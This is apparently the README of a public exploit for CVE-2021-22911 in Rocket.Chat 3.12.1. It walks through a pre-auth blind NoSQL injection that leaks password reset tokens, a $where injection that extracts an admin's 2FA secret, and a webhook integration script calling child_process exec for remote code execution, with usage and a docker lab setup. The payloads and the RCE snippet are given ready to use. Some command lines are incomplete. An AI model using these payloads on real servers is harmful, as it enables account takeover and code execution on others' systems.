# CVE-2021-22911
Pre-Auth Blind NoSQL Injection leading to Remote Code Execution in Rocket Chat 3.12.1

- The getPasswordPolicy method is vulnerable to NoSQL injection attacks and does not require authentication/authorization. It can be used to take over accounts by leaking password reset tokens. Taking over an admin account leads to Remote Code Execution.

### Explanation
1) **Hijacking user's account ( Unauthenticated )**
- There is NoSQL injection in **getPasswordPolicy** endpoint in password reset **token** parameter, which takes json object allowing us to use **$regex** operator. Which we use to perform blind nosql injection to get reset token.

2) **Privilege Escalation to admin ( Authenticated )**
- So admin user is most likely to be protected by 2fa. So even if we change admin's password through (1) it will prompt for 2fa code on login.
- **users.list** api endpoint takes query parameter which is vulnerable to nosql injection. We are also able to retrieve data by throwing an error.
- We run the following query to get admin's 2fa secret : `{"$where":"this.username==='admin' && (()=>{ throw })()"}`
- Next we just do (1) to reset admin's password and use the 2fa secret to generate code which we can use to login.

- **Updated : You can also retrieve the reset token through the same way you retrieved 2fa secret** : `{"$where":"this.username==='admin' && (()=>{ throw })()"}`

3) **RCE ( Autenticated - Admin )**
- Rocket.Chat has a feature called Integrations that allows creating incoming and outgoing web hooks. These web hooks can have scripts associated with them that are executed when the web hook is triggered.
- We create a integration with the following script :
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
- Next we just trigger the webhook to get rce :)

### Usage
- You will need a low priv user's email who has no 2fa setup. ( -u )
- You will also need to know administrator email. Not a problem if admin is protected with 2fa. ( -a )

python3 -u "user@rocket.local" -a "admin@rocket.local" -t "http://rocket.local"

### Environment
- Tested on Rocket Chat 3.12.1
- Building your own test environment using docker :
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d

- Enable Password Policy
- Enable 2FA for Admin
- Register a normal user.

NOTE: If you don't want Administrator protected with 2FA you can do the following.
1) Send forget password mail
2) Get resettoken for admin
3) Change the password using the reset token retrieved
# Admin Account Takover [ No 2fa ]
token = resettoken(target)

### Credits
- ( sonar source )

### Exploit-db
- ( v1 )
- ( v2 )